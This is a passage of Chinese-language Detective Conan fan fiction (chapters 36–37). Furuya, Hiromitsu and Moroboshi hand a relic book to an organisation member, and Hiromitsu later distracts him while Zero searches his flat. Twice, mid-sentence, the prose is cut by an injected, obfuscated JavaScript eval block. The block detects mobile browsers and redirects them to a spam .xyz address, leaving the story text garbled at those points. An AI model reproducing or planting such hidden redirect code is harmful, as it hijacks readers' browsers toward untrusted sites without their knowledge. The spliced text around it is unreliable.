降谷零以优秀的职业素养目送着对方离开,转头看见不远处的小巷里,分别戴着兜帽与针织帽的青年站在那,从阴影里直勾勾地盯着他看。 笑容里明媚的那部分属性被他剔除,换上了面对组织成员时特有的一丝粘腻的危险感。 “看得很开心啊,两位?” 尤其是你,hiro!别以为你板着一张脸我就不知道你想笑了! 降谷零暗暗地瞪了幼驯染一眼。 “那个垃圾箱是什么?”他看向诸星大身后的一辆深绿色推车,上面绘有拍卖场专用的图样,“你从拍卖场里把它推了出来?里面装着目标的尸体?” 诸星大应了一声,掀开盖板。一个留着黑色短发、身材中等的男人后背向上,蜷缩在推车内,没有呼吸也没有心跳。他的西装上开了一个弹孔,深色的血从里面流出来,将西装染得乱七八糟,甚至有些干结了。 “以防你对我的任务有非议。”诸星大道,“尸体可不像绿川的书一样能带着到处走。” 这人有病吧?降谷零无语。偏偏诸星大指给他看了,他还非得检查上一遍不可。 其实经过上次的卧底名单事件,降谷零根本不怀疑对方杀人的本事。再加上谁会特意把假尸体拉出来供人检查?风险太大,根本没有必要。 考虑到垃圾箱里散发着的那股腐烂变质的食物酸味……降谷零认为诸星大故意恶心他的概率要高于对方伪装自己的概率。 “够了,下次做漂亮点。”他皱着眉头,没有贴近去看,随后转向景光问道,“东西呢?” 他的幼驯染从外套下扯出一个书角。 “在这里,”景光似乎欲言又止,“诸星君说这书是拿……” “人皮做的。”诸星大接道。 降谷零在黑暗中没有完全看清书的样子,不置可否地表示:“这里不是说话的地方,先回安全屋。” 三人来时各自一路,此时全部坐进了降谷零的车里。确认无人跟踪后,纯白色的马自达RX-7向安全屋风驰驶去。 * 五分钟后,仍然在这条停着垃圾箱的小巷。 一个魁梧方正的男人悄悄出现,背走了垃圾箱里的“尸体”。 36. 是上帝也是恶魔(五) 景光取出怀里的书。在诸星大点明它的材质后,他一直隐隐地感到恶心。 血红的宝石在夜色里散发出慑人的光芒,裹在它周围干枯的皮层属于十世纪的某个罪人吗?又或者那位传说中的耶稣?景光翻开书,将思绪挡在了一排排的字词外。 看不懂的意大利语还是看不懂,再怎么看也不可能变成一堆眼花缭乱的手势像忍者结印一样扑上来。景光只是借此复盘着今晚的任务细节,手不老实地拨弄着书里书外,没有发现什么隐藏机关。 他还没有换下拍卖场的员工服,手上还戴着一双黑色手套,不必担心留下指纹。 “‘复活在我,生命也在我。信我的人虽然死了,也必复活。’(1)” 诸星大忽然对着景光翻开的一页念道。 景光抬头。“诸星君会意大利语?” “学过一些。” 诸星大自然地从景光手里拿过书,翻看起来。在翻到靠后的某一页时,他忽然“咦”了一声。 降谷零从后视镜里朝他看了他一眼。 “有问题吗?”景光问道。 “这一段,”诸星大指着其中一行说道,“不是《圣经》里的内容。” 景光凑过去辨认,但最多只能读懂“我们”“上帝”和“因为”。 “SiamosiaDiochedemoni,perchévogliamoinvertireilflussodeltempoefarrivivereimorti.”诸星大低声念道,“我们既是上帝也是恶魔。因为我们要逆转时间的洪流,让死人复生。” 即使三人都不信教,也知道这绝不是正经宗教读本里该出现的内容。这种逆命而为、妄自尊大的语气,反倒更像是…… 景光暗自记下了那一页的页码。 “诸星,我可不知道你还会意大利语。”降谷零嘲弄道。 “看来你也不是什么都能查到。”诸星大平淡地挡回了他的试探,“我在国外打工时学的,怎么,需要我考张证件出来吗?” “看你这嗅来嗅去、什么都想掺上一脚的模样,真像只到处打探消息的老鼠。”降谷零轻轻敲着方向盘,“你可得藏好自己的老鼠尾巴,别让我觉得无聊啊。” “这么害怕被我们关注,波本君是打算背着我和绿川君做些什么吗?” 景光发现了,诸星大这张嘴的确很有杀伤力。他真的不认识Zero吗?怎么每句都能不经意地踩中Zero的雷点,活像两年前上过社交培训班,培训导师是松田阵平PLUS版。 幼驯染语气里的怒意三分表演两分真,而他又不可能主动在诸星大面前退让,这样吵下去简直没完没了。 “我们现在是去哪?”景光插入了对话,“这不是回安全屋的路吧,波本?” “琴酒让我们带着东西去个地方,有人在那里接应我们。” 五分钟后,马自达RX-7停在了一栋公寓楼前。 景光与诸星大跟着降谷零一起下车。后者看了两人一眼,没有出言阻止。 接待他们的是一个留着短卷发的中年男人,似乎平日里不苟言笑,因此眉心纹很深。另外两人没在底层混过,不认识他也情有可原,景光却对他熟悉得很。 “原来是坪内先生,”景光招招手,“好久不见。” “啊,绿川啊。”中年男人熟稔地冲他点点头,接着对降谷零道,“我是坪内力也,琴酒大人派我来和您交接任务物品。” “没有代号吗?”降谷零打量着坪内力也与这间不确定是否属于他的屋子。 坪内力也没有因为他的问话感到冒犯,沉稳地解释道:“我主要负责外围成员的管理,保障组织的后勤工作。虽然没有代号,但也算是在组织里工作了十多年的老员工。绿川对我应该更熟悉。” “还要感谢坪内先生以前关照我。”景光在降谷零的点头授意下将书交给了这位在他刚刚加入组织时对他照拂颇多的前辈,顺带问道,“坪内先生需要做什么?有我能帮忙的地方吗?” 他在打探琴酒的命令。 “剩下的就是些浪费时间的事了,”坪内力也将书摊开,塞进角落的一台扫描机里,“我得把里面的内容影印成电子文件,发给意语与民俗学方面的学者解析,再找路子把这本书给卖掉,填补组织经费。” “书还挺厚的,一晚上扫描不完吧?” 坪内力也大致估量了下,说道:“大概要个2天吧。我临时接到的指令,找不到人帮忙,明天会轻松一些。” “那就好。” 景光转过身,与幼驯染对视了一眼,顿时都明白了对方的目标——与扫描机相连的电脑。 他们不仅是为了书的影印件,也是为了电脑里存着的其他秘密。像坪内力也这种在组织待了十年以上、基本统管了外围成员的人,即使没有代号,知道的也不会比一些代号成员少。 他相当于一片庞大市场里唯一一个竖在进出口处的监控探头,车马人货无论进出,都必然要经过他的眼睛。哪怕是来视察市场的领导,有时也不会绕过他飞进去。 景光曾经想过,坪内力也的位置倒是很适合卧底上传下达递送情报,缺点是上限低,缺少直捣组织中心的力量。 公安部对他的要求不是了解与限制组织的行动,而是彻彻底底地将之摧毁。他是被当做剑来培养的,不是绳扣,因此景光只是短暂地拐进了这条思路里,很快又拐出来,并有意与坪内力也建立了联系。 他不做,但他可以利用别人来做。 “行了,绿川,该走了。”降谷零收回搭在书架上的手,兀自走到门边,微微一顿,说道,“我们可是照琴酒的意思将东西交给你了,希望你能对得起这份信任,坪内先生。” “我明白您的意思,波本大人。”坪内力也不急不躁地翻着书页,躬身做了个告别的动作。 “诸星君?”景光喊了一声仿佛愣在一旁出神的诸星大,“还在想刚才的事吗?” 他说的是那段不该出现在书里的内容。 “啊……”诸星大缓缓收回自己落在坪内力也身上的视线,“我只是觉得,有些眼熟。” “是在别的地方见过?” “大概,”诸星大沉吟,“是不小心读到过吧。” 景光走在三人最后,替坪内力也带上了门。两人互相道别的用词简直就像一般的职场那样普通。 回复完琴酒的邮件,这下才真的准备返回安全屋。 然而,在将景光与诸星大在附近的路边放下后,降谷零却表示自己还有事要做,驱使马自达RX-7在路上打了个漂亮的漂移后,便消失在了两人的视线里。 “你不觉得——”上楼梯时,景光忽然搭话道,“条子来得有些快了?” “推着垃圾箱时,我和他们在一楼擦肩而过,不过他们没有注意到我。”诸星大回忆道,深绿色的眸子扫了一眼景光,“你怀疑是他?” 景光无辜地笑了笑。“我只是顺着你昨天的猜测延伸了一下嘛。但是,这样做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431814|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有意义。当时你已经解决了藤田治夫,哪怕波本想借条子之手保下目标也迟了。另外,如果他是CIA的卧底,就更应该少惊动日本警方。” “的确,那样做没有意义。”诸星大没有异议。 事实也正是如此。 在那种地方联系刑警上门,除了增加风险变数外,不会存在任何收益。所以,报警的一定是现场宾客或拍卖场本身,而Zero只是联络了一个并非刑警的男人,要他混在刑警队伍里,潜入拍卖场,找机会给“麻雀”收网罢了。 APE应该已经在他们的同事——Zero的那位下属手里了吧。景光思索。 “不过,”他听见诸星大说道,“绿川君如果是在考虑我的提议的话,那么能否告诉我,昨晚你为什么去见了波本呢?” 竟然真的注意到了…… 诸星大你个浓眉大眼的家伙,不会一直贴在自己的屋门后等了两个小时吧! 景光走慢了些,特地等针织帽青年从高一级的台阶上回头看他,接着坦荡荡地露出微笑。他原本有一双溜圆的蓝色眸子,两年前还青涩未退,看着像只被养好了的名贵猫,现在由于蓄了面胡、精神与性情较过去更加成熟,眼型似乎都变得狭长些,盈着危险的光彩。 “我见波本的原因……诸星君难道不清楚吗?” “与我有关?”诸星大反问。 “你可是我们之间唯一的理由。” “Ho……”诸星大罕见地勾起一点嘴角,“波本怀疑我是卧底?” “虽然与诸星君协议在前,但我也只是个想活下去的普通人而已。如果一不小心受到牵连了,我这边得有所准备才行。” “备选方案吗……”诸星大低吟,“不过绿川君,围观的人即使不在风暴中心,有时也会被卷起来的坠物击中。” “啊,我明白的。”景光微笑,“借着合作的名义,更方便地试探对方,但是——如果问心无愧的话,这或许不是我该担心的问题。” 两人继续拾级而上,诸星大随意地问道:“波本用来说服你的证据是什么?” “那个男人是不会坦诚布公地交付信任的,所以没有,他没有给我任何证据。他只是要我协助他抓一个人——一个与那件任务有关的人。” 尽管此人既非CIA,也与卧底名单无关,但作为饵食垂下的话,未尝不可。 景光暧昧不明地暗示道:“现在我已经抓到了那人的尾巴,希望能够从中取得有价值的情报吧。” 诸星大会咬住他的饵吗? 如果对方真的上钩——他与降谷零又该如何对待这个似友若敌的男人? * 青年压低鸭舌帽,将车停在楼下不显眼的角落里,监听着耳麦里的声音。 全日本一级效率压榨大师琴酒又打包了一麻袋任务塞进他的邮箱里,在完成它们的同时,他还要找机会潜入那里。 而且…… 青年摸出兜里的便签,看着上面因匆匆写下而笔迹杂乱的那句“你知道绿川的事吗”感到头疼。 “绿川”两字被加粗地描了一遍。 Hiro不可能在昨晚的任务里将自己暴露在班长面前,甚至与班长交换假名,所以只可能是班长先前见过hiro—— 不,不是hiro,而是苏格兰。 这下糟糕了。青年想。他得编个借口给自己探索欲旺盛的同期们,让他们离苏格兰,离自己与hiro越远越好。 青年敲算起了之后的计划。 37. 37 随后而来的两天还是任务、任务、无穷无尽的任务。景光忍不住怀疑这是琴酒计划的一部分:把可疑人员打发去做边缘任务,让他们从任劳任怨的牛变成任劳任怨的牛马,这样既促进了组织发展,又守住了组织机密。 唯一进展飞速的或许是三人之间的关系,整日抬头不见低头见,都学会了把针锋相对的一面藏起来——主要指降谷零不再处处挤兑诸星大,而是把对方当空气。 尽管不愿承认,在两天四件任务、满东京及其周边地区乱跑的过程中,三人的默契度正在慢慢提高。 另外的一件好事是,景光没有在第三天时与苏格兰互换身体。也许之前的确是个意外。景光想,但他每天依旧往留给苏格兰的备忘录里添加内容,以防万一。 这天晚上,三人罕见地分开行动。诸星大称他要去和女友约会;降谷零维持着波本的神秘作风,不为自己的行为做任何解释;景光走进街边的一家卖关东煮的流动小摊,随意选了几串素食。等老板将它们盛在盘里递给景光时,一个四十余岁、有着轻微混血特征的男人掀起暖帘坐了进来。 “老板,老样子。”男人道。 时间正好,Zero给到的情报实在精准得过分了。 景光偏过头,稍显惊讶地看向男人。“坪内先生?好巧,竟然在这里遇见了你。” “绿川?”坪内力也也觉得意外,但转身就走的话有些说不过去,何况两人的关系还算不错,是能够坐下喝一杯的程度。 “工作刚刚结束,路过这里的时候闻到了香味,打算稍微填下肚子。”景光道,“自从您带我见过上面的那些大人物后,我还没有好好向您道谢呢。最近也算有缘,让我请您喝一杯吧。” “什么酒?” “啤酒而已。”景光招招手,“老板,麻烦两杯。” 老板从冰桶里取出两听啤酒,刚打算倒进玻璃杯里,被景光阻止道:“不用那么讲究,老板,我们喝罐装就行。” 两人接过啤酒,冰凉的易拉罐在六月的天气里立刻凝出了一层水珠。 “最近太忙了,被上头塞了很多工作,结果现在还是只能喝着啤酒。”景光不满地抱怨道。 “你的话,肯定没什么问题。”尽管表情严肃,坪内力也的话语却无疑是在安慰景光,“你刚来时,参与的一些项目很让我印象深刻,不出意外的话,应该就在最近了。” 坪内力也似乎接触过不少从底层跃升上去的代号成员,连“实习期”都摸得一清二楚。如果不是琴酒忽然插手了这档子事,景光估计自己应该已经拿到了代号。 “还是原先的工作内容吗?”坪内力也问道。 “差不多吧。少了一些杂活,需要更高更集中的注意力了。” 也就是说,还在做狙击的工作。 “前天和你一起来的那个长发男人,你们这段时间一直搭档吗?” “诸星君?”这个问题倒的确超出了景光的预料,“坪内先生怎么会问起他?” “他那天似乎一直盯着我看……”坪内力也蹙眉不解,“我担心是不是哪里得罪过他,他应该也快升职了吧?” 景光颔首,没说是也没说不是。他确实注意到了那天诸星大的视线,但不明白原因—— 总不会是对方和他一样,注意到了坪内力也身上的情报价值。 “也许,”景光喝了一口啤酒,不确定地提示道,“是因为他的女友?” “女友?” “不清楚她叫什么,但似乎是公司里的小职员。诸星君也是因为与她的关系才入职公司的” 景光在自己的世界里与宫野姐妹没有交集,也从未听诸星大提起女友的名字,因此小心地没有说到更多细节。 “难道是……”坪内力也却仿佛被点透了,会意地点点头,“原来他们口中那个因为一次意外而给公司带回了一个天才的人是她啊。” 景光笑呵呵地问:“难不成是和坪内先生一样的老员工?竟然我随口一提您就有印象了。” “恰恰相反,她是个年轻姑娘,但如果算上她的父母一辈,她在公司的资历确实比我要老。” “我之前似乎没见过她?” “她的身份比较特殊……好了,绿川,她的话题还是到此为止吧,”坪内力也收住了口,“我是因为诸星君才多说了一些,你可千万别向外人提起啊。” “我做事您还不放心吗?”景光按按手,一副“这是我们之间共同的秘密”的模样。 宫野姐妹的父母也是组织成员……这条情报他倒是头一次知道,没想到拖住坪内力也的这一顿饭还有意外收获。 不知道他送给上线的那封信什么时候才有结果。景光分神想到。这可是他在“苏格兰的奇幻漂流”中获得的最有价值的两个名字。 景光转换话题,终于落到了今晚的重点上。“那前天的工作呢,应该没出问题吧?” “问题——哪方面的?” “各方面的。”景光垂下眉毛,“不瞒坪内先生说,其实我因为犯了些错误,现在被上面的大人物扣下了转正材料。这已经够我受的了,希望别再出现别的问题。” “哈哈哈……”坪内力也有趣似的笑了起来,捏着易拉罐轻轻与自己的前下属碰杯。 “我做事你还不放心吗?”他用同样的话语回复景光道,“东西已经拜托相关方面的学者进行研究,也找好了出手的下家。” “所以说,重要的不是东西本身,而是里面的内容吗?” 坪内力也顿了一下,忽然警惕地看向景光。“很在意这个吗,绿川?” 景光没有敷衍着略过这个问题,直言道:“啊,很在意。” 他用手巾擦拭净易拉罐的表面,装回兜里,起身看向已经吃完了盘中食物的坪内力也。“走吗,坪内先生?” 两人付钱离开。 景光挑了一条沿河的堤岸,前后无人,方便谈论一些不该见光的话题。 “您也知道我的经历,坪内先生,”景光道,“我是为了从极道手里活下来才进入了这个世界,虽然目前看来活得还算不错,但变动的一天总会到来。您之前说过,组织已经存在了半个世纪之久,但我们的目的是什么?” “你怎么想呢?” “我们既不像极道组织一样控制一方,用暴力敛财,也不像恐怖集团一样搅入政治纠纷……不对,不如说它两样都在做,但做得太隐秘太无所谓了,好像两样都不是我们的重点。那些大人物们似乎追求着某种更神秘、更捉摸不着的事物。这只能让我想到一种东西—— “邪、教。” 坪内力也像是滑了一跤,但立刻稳住了。“你懂意大利语?” “这还是诸星君告诉我的,”景光推锅,“他说那本书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443991|165107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里有不该出现的邪恶之词。” 坪内力也沉默。 “如果组织的真实目的是这个,我恐怕很难接受,因为担心自己不知不觉间就会死去——类似的故事我听过太多了——这不是与我加入组织的原因正相反吗?” “绿川。”坪内力也打断道。 景光停下,仿佛认真地寻求着一个能够令他安心的答案。 “一旦来到这里,你就只剩下了两条路——继续,或者死。没人在意你喜不喜欢、害不害怕,既然你曾经选择了抛下一切,以后也只能一个人孤独地走下去,直到抵达终点的那天。” 坪内力也的声音很低也很坚定,其中蕴着一股情绪,仿佛十年间淅淅沥沥降下的阴雨都顺着漏斗,汇在了这个瞬间。 景光想,他们说的大概不是同一件事,但坪内力也的话的确让他看见了自己,看见了Zero。 他们不是孤独的。 “不过我可以告诉你,组织与你想的那个东西无关,你就安心地做下去吧,绿川。我没有子女,就等你到了大人物的位置上,以后关照我几分呢。”坪内力也开着玩笑,语气又变得轻松了。 “安心是安多少心啊,坪内先生。”景光无奈地笑道。 “80%……不,90%吧。” “好歹回答一个100%嘛……” 嘴角的微笑在与坪内力也分别后落了下去。景光看了一眼时间:他拖住了坪内力也近一个小时,足够他的幼驯染在对方公寓里翻个底朝天再做一遍卫生清洁了。 当然——不至于到那么夸张的地步,毕竟Zero是潜入进去盗取资料的,一丝痕迹也不能留下。 景光前往约定的集合地点等待降谷零,心里暗自整合着目前的已知线索。 生物制药。 实验室。 逆转时间。 死人复生。 ……可能吗? 两千年前,科学曾被当成巫术与无稽之谈,那么他以现在的思维水平看待组织操纵时间与生死的企图,是否与两千年前那些愚昧的人们一样呢? 不、不是的。 无论冠以多少大义,如果要以残暴与痛苦作为手段,就绝不可能抵达正确的结局。 景光点了支烟,等看见一辆熟悉的白车从远处接近时,他掐熄了烟,扔进一只小塑料袋里。 “绿川。” 降谷零露出波本式微笑,摇了摇自己的手机。 “波本,”景光意会了他的意思,假作反感道,“为什么约我在这种地方?” “为了通知你下一个任务。” “诸星君呢?” “他?”降谷零慢悠悠地扬起一个不屑的笑,“组织怀疑他是——”他轻轻敲了敲方向盘,“估计已经被关在哪个地方等待调查了吧。” “琴酒的意思吗?CIA的卧底……他?”景光感到某些事情脱轨了。 “琴酒……嘛,他现在大概也自身难保。”降谷零收了幸灾乐祸的语气,冷声道,“绿川,BOSS命令,要求我们入侵东京警视厅,调查卧底身份,指挥者是贝尔摩德——你在围剿关东玄月会时见过她。” ……入侵哪? “你的意思是……”景光说道。 “啊,没错,”降谷零笃定地扬起下巴,“诸星大和琴酒——他们两人中有一个日本公安的卧底。”